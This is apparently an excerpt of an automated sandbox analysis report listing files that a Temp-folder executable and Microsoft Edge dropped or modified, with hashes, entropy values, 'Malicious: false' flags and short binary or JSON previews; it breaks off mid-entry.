Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\17e3e075-f7b6-4333-a1c2-7d65eac74870.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44635
Entropy (8bit):	6.095403342702547
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBywu8hDO6vP6OXi5piPcGakkcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEu63idchu3VlXr4CRo1
MD5:	08A979731E6932E5BC025F595F8A0B28
SHA1:	77DDCD5FF6F0181D5D17875B9A0F27694CEBFECD
SHA-256:	D6043D3F478234AD9B762B6DD2FF413C14C0E0546A12EAFE55081BC2ED42F811
SHA-512:	C2DD3462E0B01072D161BB0B2E4E5478D5E11AFE1B1B7B251AD831736DB8FEEF0BEC2277FC7EEB3453D2D2F7A7A494D41F1CE127C613E6E35CDCC35343842FA5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2ba9306b-d8de-45f8-9d56-7cd08cbe3208.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096066581473005
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwu8hDO6vP6OXiBb8JPb/YFCFcGoup1Xl3jVzXr2:z/Ps+wsI7ynEe63iWchu3VlXr4CRo1
MD5:	D913A9D2096DB2A29B84B0FAB14048FB
SHA1:	48FB96BA1E1FA5E96C6BB70551E95AEEAF9EC357
SHA-256:	D3317EECA2BDF6FBF482BE86AC98F3F59E2316DEC72A9B00218B241818032AA9
SHA-512:	366FD8A21247755113F637DC541F74202A29CF1E3CBC83C6DDA6A343262A22CE9FC724C5F936F387CB0865DCB9D0937F4B0193E1C42CAB5530553756E3676D2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\72eb9dc8-96bf-4ed9-a147-4b5230cb35dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44635
Entropy (8bit):	6.095403342702547
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBywu8hDO6vP6OXi5piPcGakkcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEu63idchu3VlXr4CRo1
MD5:	08A979731E6932E5BC025F595F8A0B28
SHA1:	77DDCD5FF6F0181D5D17875B9A0F27694CEBFECD
SHA-256:	D6043D3F478234AD9B762B6DD2FF413C14C0E0546A12EAFE55081BC2ED42F811
SHA-512:	C2DD3462E0B01072D161BB0B2E4E5478D5E11AFE1B1B7B251AD831736DB8FEEF0BEC2277FC7EEB3453D2D2F7A7A494D41F1CE127C613E6E35CDCC35343842FA5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\743b731d-4745-41d5-bcad-239a0da1ac97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676A9D94-1F3C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04671392150877522
Encrypted:	false
SSDEEP:	192:PbBu0pqtm2nOAWVKYCUJgA8x5XSggykfht8TNEcIe/ERQcQe4BD7ja3wAn8y08TQ:j00ctJMaUgk9h8/YH4Z7jar08T2RGOD
MD5:	7053D6F745DCCC585D2DAF162BDADF7C
SHA1:	417AB54BB4BC455256A8D27922D27E016AB0F925
SHA-256:	1B7FC40128048AF2DE63BA036E1F005689E49FE41E7775C3D995117599D98671
SHA-512:	F3B194108CB98D79B95EDD325C123847B55CDF1AB0382061E7933FDC85CC130C61653B1144EC0418C55ACED3A3BF414BAA98B4887A98E362B1A454894C56E92D
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".fyjilq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF419be.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF419ce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF424da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF424e9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090723755867867
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6itbz8hu3VlXr4CRo1
MD5:	090479F0A6EDCF8F6C618156D6FC2A90
SHA1:	910FCE20F6F3D2C6C7193446BE2A86D3F56CB765
SHA-256:	F438784382FD54202DECC65711CECC4DA201947A34CF90735DF86922CFFEA997
SHA-512:	90F8174C39EE1E4191289A521C41EBE15800EB5440507BDF0575975A0895E6A0D3DF6ECFAE55C313B55D6651951A8D6AA08ADDE51785BF6C28FEDF2E42CD3AB0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a2c2be28-bba5-47c9-83de-bae38b9f3573.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
